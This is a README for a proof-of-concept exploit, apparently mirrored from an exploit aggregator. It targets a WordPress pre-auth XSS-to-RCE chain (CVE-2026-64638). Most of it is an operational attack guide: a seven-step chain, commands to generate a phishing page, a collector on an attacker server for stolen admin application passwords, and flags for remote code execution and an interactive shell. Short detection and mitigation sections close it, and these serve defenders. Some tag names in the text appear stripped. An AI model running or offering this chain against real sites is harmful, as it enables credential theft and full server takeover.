## https://sploitus.com/exploit?id=40BFC912-ED1C-52D6-917D-E861589DB933
# XSS2Shell β CVE-2026-64638 PoC
WordPress Pre-Auth XSS β RCE exploit chain, based on research by [pwn.ai](https://pwn.ai) published on [ionsec.io](https://www.ionsec.io/resources/xss2shell-wordpress-pre-auth-xss-to-rce/).
> β οΈ **LEGAL WARNING**: For **EDUCATIONAL PURPOSES** and **AUTHORIZED TESTING** only. Only use against systems you own or have explicit written permission to test.
## Lab Verification
| Step | Technique | Status |
|------|-----------|--------|
| 1 | Parser differential XSS (`sanitize_user` + browser parse gap) | β
Verified |
| 2 | DOM clobbering (``, ``) | β
Verified |
| 3 | `user-profile.js` auto-trigger on login page | β
Verified |
| 4 | REST JSONP callback allows dot traversal (`window.opener.approve.click`) | β
Verified |
| 5 | `_method=GET` + `_envelope=1` override | β
Verified |
| 6 | Application password theft (SOME) | β οΈ Requires admin click |
| 7 | Plugin upload β PHP execution (no activation) | β οΈ Requires credentials |
See [`lab/VERIFICATION_REPORT.md`](lab/VERIFICATION_REPORT.md) for full details.
## Vulnerability Summary
| Item | Detail |
|------|--------|
| **CVE** | CVE-2026-64638 |
| **CVSS 4.0** | 8.9 |
| **Affected** | WordPress 4.7 β 7.0.2 (unpatched point releases) |
| **Fixed** | WordPress 7.0.3 (August 6, 2026), backported to all maintenance branches |
| **Auth** | Pre-auth (unauthenticated XSS) |
| **Impact** | RCE via plugin upload |
## Exploit Chain (7 Steps)
```
Step 1: Parser Differential XSS
ββ sanitize_user() allows "", "", "" (space after " β shadows window.ajaxurl (HTMLAreaElement)
β satisfies jQuery selectors
β delegated click handler
Step 3: user-profile.js Auto-Trigger
ββ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) β target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
ββ _jsonp=window.opener.approve.click β Same Origin Method Execution
_envelope=1 β bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
ββ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" β application password minted
Step 6: Credential Theft
ββ Password appears in redirect query string β read by child window (same-origin)
Step 7: Plugin Upload β RCE
ββ Upload plugin ZIP β extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
```
## Quick Start
### 1. Install dependencies
```bash
pip install requests
```
### 2. Recon target
```bash
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
```
### 3. Docker lab (for testing)
```bash
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
```
### 4. Verify XSS vector against lab
```bash
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
```
### 5. Generate attacker page
```bash
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
```
Upload `xss2shell_attacker.html` and `collect.php` to your server.
### 6. Send link to admin
A logged-in WordPress admin must visit the attacker page and click once.
### 7. Receive credentials
Credentials appear in `collected_creds.json` on your server:
```json
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
```
### 8. Execute RCE chain
```bash
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
```
### 9. Interactive shell
```bash
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
```
### 10. Cleanup
```bash
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
```
## Detection (Log Forensics)
Signatures to search for in server logs:
- **Access log**: `POST /wp-login.php` with body containing `< area`, `< div`, `< button`
- **Access log**: REST request with query parameter `_jsonp=` (especially `_jsonp=a.b.c` β the dot is the SOME tell)
- **Access log**: `_envelope=1` + `_method=GET` on routes that should reject them
- **Access log**: `POST /wp-admin/update.php?action=upload-plugin` from unrecognized IP
- **Access log**: `GET /wp-content/plugins/{unknown-plugin}/*.php` β PHP file in a never-activated plugin
- **App log**: Application password created within seconds of a request to `authorize-application.php`
## Mitigation
1. **Patch** to WordPress 7.0.3 (or latest point release for your branch)
2. **Rotate all administrator** application passwords
3. **Disable application passwords** if not needed:
```php
add_filter('wp_is_application_passwords_available', '__return_false');
```
4. **Disable REST JSONP**:
```php
add_filter('rest_jsonp_enabled', '__return_false');
```
5. **Disable file modifications**:
```php
define('DISALLOW_FILE_MODS', true);
```
6. **WAF rules**: Block `_jsonp=`, `_envelope=` on REST endpoints; block `< area` in POST body to `wp-login.php`
## File Structure
```
xss2shell/
βββ README.md # Documentation (this file)
βββ xss2shell_poc.py # Main PoC script
βββ xss2shell_attacker.html # Generated attacker page
βββ collect.php # Credential collector endpoint
βββ lab/
βββ docker-compose.yml # Docker lab (WP 6.0.3)
βββ VERIFICATION_REPORT.md # Step-by-step verification
βββ test_sanitize.php # sanitize_user() tests
βββ test_full_payload.php # Full payload chain test
βββ test_browser.html # DOM clobbering browser test
βββ test_end_to_end.php # End-to-end PHP test
βββ verify_xss.sh # Automated curl tests
```
## References
- [IonSec β XSS2Shell: WordPress Pre-Auth XSS to RCE](https://www.ionsec.io/resources/xss2shell-wordpress-pre-auth-xss-to-rce/)
- [pwn.ai](https://pwn.ai) β Original discovery
- [WordPress Security Releases](https://wordpress.org/news/category/security/)